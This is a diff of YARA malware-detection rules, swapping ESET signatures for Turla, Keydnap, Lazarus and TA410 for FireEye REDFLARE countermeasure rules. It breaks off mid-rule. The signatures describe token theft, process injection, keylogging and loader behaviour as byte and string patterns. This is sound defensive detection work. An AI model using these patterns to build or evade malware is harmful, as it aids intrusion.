+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_2.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "9529c4c9773392893a8a0ab8ce8f8ce1,05b99d438dac63a5a993cea37c036673"
+		logic_hash = "1f2e1f644b1932486444dfda30b7dad7f50121f59fa493eb8a1a0528ae46db26"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 2
+
+	strings:
+		$1 = "initialize" fullword
+		$2 = "getData" fullword
+		$3 = "putData" fullword
+		$4 = "fini" fullword
+		$5 = "Cookie: SID1=%s" fullword
 
 	condition:
-		uint16(0)==0x5a4d and pe.number_of_resources>=13 and for 12resource in pe.resources : (resource.type==10 and resource.language==1033 and (resource.name_string=="1\x000\x000\x00" or resource.name_string=="1\x000\x000\x000\x00" or resource.name_string=="1\x000\x000\x000\x000\x00" or resource.name_string=="1\x000\x000\x001\x00" or resource.name_string=="1\x000\x001\x00" or resource.name_string=="1\x000\x002\x00" or resource.name_string=="1\x000\x003\x00" or resource.name_string=="1\x000\x004\x00" or resource.name_string=="1\x000\x005\x00" or resource.name_string=="1\x000\x006\x00" or resource.name_string=="1\x000\x007\x00" or resource.name_string=="1\x000\x008\x00" or resource.name_string=="1\x000\x009\x00" or resource.name_string=="1\x001\x000\x00" or resource.name_string=="2\x000\x000\x000\x00" or resource.name_string=="2\x000\x000\x001\x00"))
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_V4_Resources : FILE
+rule FIREEYE_RT_APT_Downloader_Win32_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 4.1.3"
-		author = "ESET Research"
-		id = "57b98823-439f-5a2c-a8cb-ac5e98953b06"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L722-L741"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "7b475cfddb5f995f7e8e3293b8e6ae59a9e36143998bc444499b5dce467f8e9d"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "e8d7ee31-568e-58ac-98ad-49baa2eb37ea"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Downloader_Win32_REDFLARE_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "05b99d438dac63a5a993cea37c036673"
+		logic_hash = "a340a2a732a9b1aa74ca9d84009a88d1b14b6a03140a859384c0d6e745e4a90a"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
+
+	strings:
+		$const = "Cookie: SID1=%s" fullword
+		$http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [1-10] 6A 00 8B [1-8] 5? 6A 00 6A 00 6A 00 8B [1-8] 5? 68 [4] 8B [1-8] 5? FF 15 [4-40] 6A 14 E8 }
 
 	condition:
-		uint16(0)==0x5a4d and pe.number_of_resources>=6 and for 5resource in pe.resources : (resource.type==10 and resource.language==1033 and (resource.name_string=="1\x000\x000\x000\x000\x00" or resource.name_string=="1\x000\x000\x000\x001\x00" or resource.name_string=="1\x000\x000\x000\x002\x00" or resource.name_string=="1\x000\x000\x000\x003\x00" or resource.name_string=="1\x000\x000\x000\x004\x00" or resource.name_string=="1\x000\x000\x000\x005\x00" or resource.name_string=="1\x000\x001\x000\x000\x00"))
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-import "pe"
-
-rule ESET_Richheaders_Lazarus_Nukesped_Iconicpayloads_3CX_Q12023
+rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_7 : FILE
 {
 	meta:
-		description = "Rich Headers-based rule covering the IconicLoader and IconicStealer from the 3CX supply chain incident, and also payloads from the cryptocurrency campaigns from 2022-12"
-		author = "ESET Research"
-		id = "5c815d14-8a3e-5c6a-9dc3-988e0f31c094"
-		date = "2023-03-31"
-		modified = "2023-04-19"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/nukesped_lazarus/rich_headers_IconicPayloads_3CX.yar#L6-L23"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "3b88cda62cdd918b62ef5aa8c5a73a46f176d18b"
-		hash = "cad1120d91b812acafef7175f949dd1b09c6c21a"
-		hash = "5b03294b72c0caa5fb20e7817002c600645eb475"
-		hash = "7491bd61ed15298ce5ee5ffd01c8c82a2cdb40ec"
-		logic_hash = "f11a1db798bfcc534982bdf6afaae154b095b6a1e0896e75e2791c01e51a1c16"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "f891e477-9ff2-57be-9ca5-dd87d9baee29"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_7.yar#L4-L21"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e7beece34bdf67cbb8297833c5953669, 8025bcbe3cc81fc19021ad0fbc11cf9b"
+		logic_hash = "6d7822256ac1bef05304d3396df773e2b20a397311ad820d6ec5fe4cb6bdfbbc"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		rev = 1
+
+	strings:
+		$1 = "initialize" fullword
+		$2 = "getData" fullword
+		$3 = "putData" fullword
+		$4 = "fini" fullword
+		$5 = "NamedPipe"
+		$named_pipe = { 88 13 00 00 [1-8] E8 03 00 00 [20-60] 00 00 00 00 [1-8] 00 00 00 00 [1-40] ( 6A 00 6A 00 6A 03 6A 00 6A 00 68 | 00 00 00 00 [1-6] 00 00 00 00 [1-6] 03 00 00 00 45 33 C? 45 33 C? BA ) 00 00 00 C0 [2-10] FF 15 [4-30] FF 15 [4-7] E7 00 00 00 [4-40] FF 15 [4] 85 C0 }
 
 	condition:
-		pe.rich_signature.toolid(259,30818)==9 and pe.rich_signature.toolid(256,31329)==1 and pe.rich_signature.toolid(261,30818)>=30 and pe.rich_signature.toolid(261,30818)<=38 and pe.rich_signature.toolid(261,29395)>=134 and pe.rich_signature.toolid(261,29395)<=164 and pe.rich_signature.toolid(257,29395)>=6 and pe.rich_signature.toolid(257,29395)<=14
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule ESET_Keydnap_Downloader
+rule FIREEYE_RT_APT_Downloader_Win64_REDFLARE_1 : FILE
 {
 	meta:
-		description = "OSX/Keydnap Downloader"
-		author = "Marc-Etienne M.Léveillé"
-		id = "2b21007a-b143-5538-8777-ba35448d00aa"
-		date = "2016-07-06"
-		modified = "2016-07-06"
-		reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/keydnap/keydnap.yar#L33-L49"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "71c8885193a92fa9c71055c37e629a54d50070cf6820b9216a824ecc4db2ce3c"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "15a5e22b-84b0-5b36-8772-1d496ac447b2"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Downloader_Win64_REDFLARE_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "9529c4c9773392893a8a0ab8ce8f8ce1"
+		logic_hash = "1b9bece6083403615841c752eac48fd20095e918d6e175563dd122be2885d875"
 		score = 75
-		quality = 80
-		tags = ""
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$ = "icloudsyncd"
-		$ = "killall Terminal"
-		$ = "open %s"
+		$const = "Cookie: SID1=%s" fullword
+		$http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [6-20] 00 00 00 00 [6-20] 00 00 00 00 [2-10] 00 00 00 00 45 33 C9 [4-20] 48 8D 15 [4] 48 8B 0D [4] FF 15 [4-50] B9 14 00 00 00 E8 }
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-rule ESET_Keydnap_Backdoor_Packer
+rule FIREEYE_RT_APT_Builder_PY_REDFLARE_2
 {
 	meta:
-		description = "OSX/Keydnap packed backdoor"
-		author = "Marc-Etienne M.Léveillé"
-		id = "f29ad5af-bc86-5764-9451-5a8363788c4e"
-		date = "2016-07-06"
-		modified = "2016-07-06"
-		reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/keydnap/keydnap.yar#L51-L67"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "b1740bf38376be81d3b42306c2ce81f578c0b5c9db804f063836bf98f57ed147"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "1af407f5-6eb7-5be9-a3d9-cd0f7a5f2503"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Builder_PY_REDFLARE_2.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4410e95de247d7f1ab649aa640ee86fb"
+		logic_hash = "675390e944a95156ad33ca783c90fdea9610cdc2e8c5c53e0c0fa213149b4714"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = ""
-		version = "1"
+		rev = 1
 
 	strings:
-		$upx_string = "This file is packed with the UPX"
-		$packer_magic = "ASS7"
-		$upx_magic = "UPX!"
+		$1 = "<510sxxII"
+		$2 = "0x43,0x00,0x3a,0x00,0x5c,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,"
+		$3 = "parsePluginOutput"
 
 	condition:
-		$upx_string and $packer_magic and not $upx_magic
+		all of them and #2==2
 }
-rule ESET_Keydnap_Backdoor
+rule FIREEYE_RT_APT_Loader_Raw32_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Unpacked OSX/Keydnap backdoor"
-		author = "Marc-Etienne M.Léveillé"
-		id = "099c1796-6237-5ec1-ba25-cd5feca79865"
-		date = "2016-07-06"
-		modified = "2016-07-06"
-		reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/keydnap/keydnap.yar#L69-L86"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "fa209577a562ef9088d3ad3df3fbc0edda96f09d19177842f0ddea42c658f530"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "8f8ec27f-afac-5da5-b76f-b984e14e0066"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Raw32_REDFLARE_1.yar#L4-L16"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4022baddfda3858a57c9cbb0d49f6f86"
+		logic_hash = "05ed89bd82600b4d5ef01ece2e0a9bd84e968988fd2bda1bab4ec316a9a9906b"
 		score = 75
-		quality = 80
-		tags = ""
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$ = "api/osx/get_task"
-		$ = "api/osx/cmd_executed"
-		$ = "Loader-"
-		$ = "u2RLhh+!LGd9p8!ZtuKcN"
-		$ = "com.apple.iCloud.sync.daemon"
+		$load = { EB ?? 58 [0-4] 8B 10 8B 48 [1-3] 8B C8 83 C1 ?? 03 D1 83 E9 [1-3] 83 C1 [1-4] FF D? }
 
 	condition:
-		2 of them
+		( uint16(0)!=0x5A4D) and all of them
 }
-import "pe"
-
-rule ESET_Turla_Outlook_Gen
+rule FIREEYE_RT_APT_Keylogger_Win32_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Turla Outlook malware"
-		author = "ESET Research"
-		id = "efef2443-c941-54c2-abfa-bbe29c53d930"
-		date = "2018-05-09"
-		modified = "2018-09-05"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/turla-outlook.yar#L42-L74"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "f709e517e9d957775601670c426cc9def1c4104cb1ff647d269800d2af4372c7"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "ad14db66-d640-5712-b2c8-a3d42d5a90f3"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Keylogger_Win32_REDFLARE_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "d7cfb9fbcf19ce881180f757aeec77dd"
+		logic_hash = "aebbaa050bee3775ffac4214ea4ab58284384e7eb41e66ee4838b9359e72821e"
 		score = 75
-		quality = 78
-		tags = ""
-		version = 2
-		contact = "github@eset.com"
-		license = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$s1 = "Outlook Express" ascii wide
-		$s2 = "Outlook watchdog" ascii wide
-		$s3 = "Software\\RIT\\The Bat!" ascii wide
-		$s4 = "Mail Event Window" ascii wide
-		$s5 = "Software\\Mozilla\\Mozilla Thunderbird\\Profiles" ascii wide
-		$s6 = "%%PDF-1.4\n%%%c%c\n" ascii wide
-		$s7 = "%Y-%m-%dT%H:%M:%S+0000" ascii wide
-		$s8 = "rctrl_renwnd32" ascii wide
-		$s9 = "NetUIHWND" ascii wide
-		$s10 = "homePostalAddress" ascii wide
-		$s11 = "/EXPORT;OVERRIDE;START=-%d;END=-%d;FOLDER=%s;OUT=" ascii wide
-		$s12 = "Re:|FWD:|AW:|FYI:|NT|QUE:" ascii wide
-		$s13 = "IPM.Note" ascii wide
-		$s14 = "MAPILogonEx" ascii wide
-		$s15 = "pipe\\The Bat! %d CmdLine" ascii wide
-		$s16 = "PowerShellRunner.dll" ascii wide
-		$s17 = "cmd container" ascii wide
-		$s18 = "mapid.tlb" ascii wide nocase
-		$s19 = "Content-Type: F)*+" ascii wide fullword
+		$create_window = { 6A 00 68 [4] 6A 00 6A 00 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 CF 00 68 [4] 68 [4] 6A 00 FF 15 }
+		$keys_check = { 6A 14 [0-5] FF [1-5] 6A 10 [0-5] FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A0 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A1 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 74 }
 
 	condition:
-		ESET_Not_Ms_PRIVATE and 5 of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-import "pe"
-
-rule ESET_Turla_Outlook_Filenames
+rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_5 : FILE
 {
 	meta:
-		description = "Turla Outlook filenames"
-		author = "ESET Research"
-		id = "3a08003d-50d6-5fdf-9f74-222335ebfa3e"
-		date = "2018-08-22"
-		modified = "2018-09-05"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/turla-outlook.yar#L76-L91"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "3be86c9325de6634c032321beed131fdf1e1952afcb43258fb202d0097610501"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "892981d6-f310-5ee8-95b5-dd4bd720a86c"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_5.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dfbb1b988c239ade4c23856e42d4127b, 3322fba40c4de7e3de0fda1123b0bf5d"
+		logic_hash = "ab38e5ebded026829672941709797b40f8e13fb244b6a8ed3545de4358f727b8"
 		score = 75
-		quality = 80
-		tags = ""
-		contact = "github@eset.com"
-		license = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$s1 = "mapid.tlb"
-		$s2 = "msmime.dll"
-		$s3 = "scawrdot.db"
+		$s1 = "AdjustTokenPrivileges" fullword
+		$s2 = "LookupPrivilegeValueW" fullword
+		$s3 = "ImpersonateLoggedOnUser" fullword
+		$s4 = "runCommand" fullword
+		$steal_token = { FF 15 [4] 85 C0 [1-40] C7 44 24 ?? 01 00 00 00 [0-20] C7 44 24 ?? 02 00 00 00 [0-20] FF 15 [4] FF [1-5] 85 C0 [4-40] 00 04 00 00 FF 15 [4-5] 85 C0 [2-20] ( BA 0F 00 00 00 | 6A 0F ) [1-4] FF 15 [4] 85 C0 74 [1-20] FF 15 [4] 85 C0 74 [1-20] ( 6A 0B | B9 0B 00 00 00 ) E8 }
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Turla_Outlook_Log
+rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_2 : FILE
 {
 	meta:
-		description = "First bytes of the encrypted Turla Outlook logs"
-		author = "ESET Research"
-		id = "b0031c08-8418-5a02-8a2c-daa7236f46f0"
-		date = "2018-08-22"
-		modified = "2018-09-05"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/turla-outlook.yar#L93-L107"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "e7dc00c33a643c0940aaea2096d099192b27df3c81c518f1dc2b3d45a0a74312"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "043f4e29-710d-5e17-a0ed-82cd3a565194"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_2.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "100d73b35f23b2fe84bf7cd37140bf4d"
+		logic_hash = "9fad845ed963fae46ac7ddc44407d5f6ed0a061f6a106764b9f912ef718279b4"
 		score = 75
-		quality = 80
-		tags = ""
-		contact = "github@eset.com"
-		license = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$s1 = {01 87 C9 75 C8 69 98 AC E0 C9 7B [21] EB BB 60 BB 5A}
+		$alloc = { 45 8B C0 33 D2 [2-6] 00 10 00 00 [2-6] 04 00 00 00 [1-6] FF 15 [4-60] FF 15 [4] 85 C0 [4-40] 20 00 00 00 [4-40] FF 15 [4] 85 C0 }
+		$inject = { 83 F8 01 [2-20] 33 C0 45 33 C9 [3-10] 45 33 C0 [3-10] 33 D2 [30-100] FF 15 [4] 85 C0 [20-100] 01 00 10 00 [0-10] FF 15 [4] 85 C0 [4-30] FF 15 [4] 85 C0 [2-20] FF 15 [4] 83 F8 FF }
+		$s1 = "ResumeThread" fullword
 
 	condition:
-		$s1 at 0
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-import "pe"
-
-rule ESET_Turla_Outlook_Exports
+rule FIREEYE_RT_APT_Loader_Win32_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Export names of Turla Outlook Malware"
-		author = "ESET Research"
-		id = "6df4f75e-711a-539d-94bf-9e4e2063ecd4"
-		date = "2018-08-22"
-		modified = "2018-09-05"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/turla-outlook.yar#L109-L125"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "a961fdb43ea1e99b308f55b8f5e264b1f3fa817eaf463d512e2ad8b98a18ee99"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "b8a2c388-3b27-5075-b0ee-2773ae0c67ad"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win32_REDFLARE_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "01d68343ac46db6065f888a094edfe4f"
+		logic_hash = "f9165aabe4bad215211cf98559099030ddb8a76175fbfcfee3c6f25d7614bdad"
 		score = 75
-		quality = 80
-		tags = ""
-		contact = "github@eset.com"
-		license = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 1
+
+	strings:
+		$alloc_n_load = { 6A 40 68 00 30 00 00 [0-20] 6A 00 [0-20] FF D0 [4-60] F3 A4 [30-100] 6B C0 28 8B 4D ?? 8B 4C 01 10 8B 55 ?? 6B D2 28 }
+		$const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
 
 	condition:
-		(pe.exports("install") or pe.exports("Install")) and pe.exports("TBP_Initialize") and pe.exports("TBP_Finalize") and pe.exports("TBP_GetName") and pe.exports("DllRegisterServer") and pe.exports("DllGetClassObject")
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-import "pe"
-
-rule ESET_Gazer_Certificate_Subject
+rule FIREEYE_RT_APT_Builder_PY_REDFLARE_1
 {
 	meta:
-		description = "Turla Gazer malware"
-		author = "ESET Research"
-		id = "a7719333-b341-538c-a8ed-5c50b653a765"
-		date = "2017-08-30"
-		modified = "2017-08-29"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/gazer.yar#L33-L46"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "6e870c9cdcee33769162de62ea143ff401af50b22a63d2f212c44d06f5771dec"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "3b5ad25d-ce66-572e-9a91-40a73b8fd447"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Builder_PY_REDFLARE_1.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "d0a830403e56ebaa4bfbe87dbfdee44f"
+		logic_hash = "1948cadb7242eb69bffbc222802ce9c1af38d7a846da09b6343b1449fe054e42"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = ""
-		contact = "github@eset.com"
-		license = "BSD 2-Clause"
+		rev = 1
+
+	strings:
+		$1 = "LOAD_OFFSET_32 = 0x612"
+		$2 = "LOAD_OFFSET_64 = 0x611"
+		$3 = "class RC4:"
+		$4 = "struct.pack('<Q' if is64b else '<L'"
+		$5 = "stagerConfig['comms']['config']"
+		$6 = "_x86.dll"
+		$7 = "_x64.dll"
 
 	condition:
-		for any i in (0..pe.number_of_signatures-1) : (pe.signatures[i].subject contains "Solid Loop" or pe.signatures[i].subject contains "Ultimate Computer Support")
+		all of them and @1[1]<@2[1] and @2[1]<@3[1] and @3[1]<@4[1] and @4[1]<@5[1]
 }
-import "pe"
-
-rule ESET_Gazer_Certificate : FILE
+rule FIREEYE_RT_APT_Loader_Raw64_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Turla Gazer malware"
-		author = "ESET Research"
-		id = "e90bbe53-4e7f-59c4-a505-4893150bf824"
-		date = "2017-08-30"
-		modified = "2017-08-29"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/gazer.yar#L48-L65"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "eb3afbaefd23d4fc6ded494d3378dc910a0832b160e733ab79c590128dd74cea"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "8e937f6a-404f-53bd-9de2-ed63b1cf48b2"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Raw64_REDFLARE_1.yar#L4-L16"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "5e14f77f85fd9a5be46e7f04b8a144f5"
+		logic_hash = "dac122ccece8a6dd35a5fe9d37860a612aa50ab469b79f4375dbe776f60c7b57"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		contact = "github@eset.com"
-		license = "BSD 2-Clause"
+		rev = 1
 
 	strings:
-		$certif1 = {52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02}
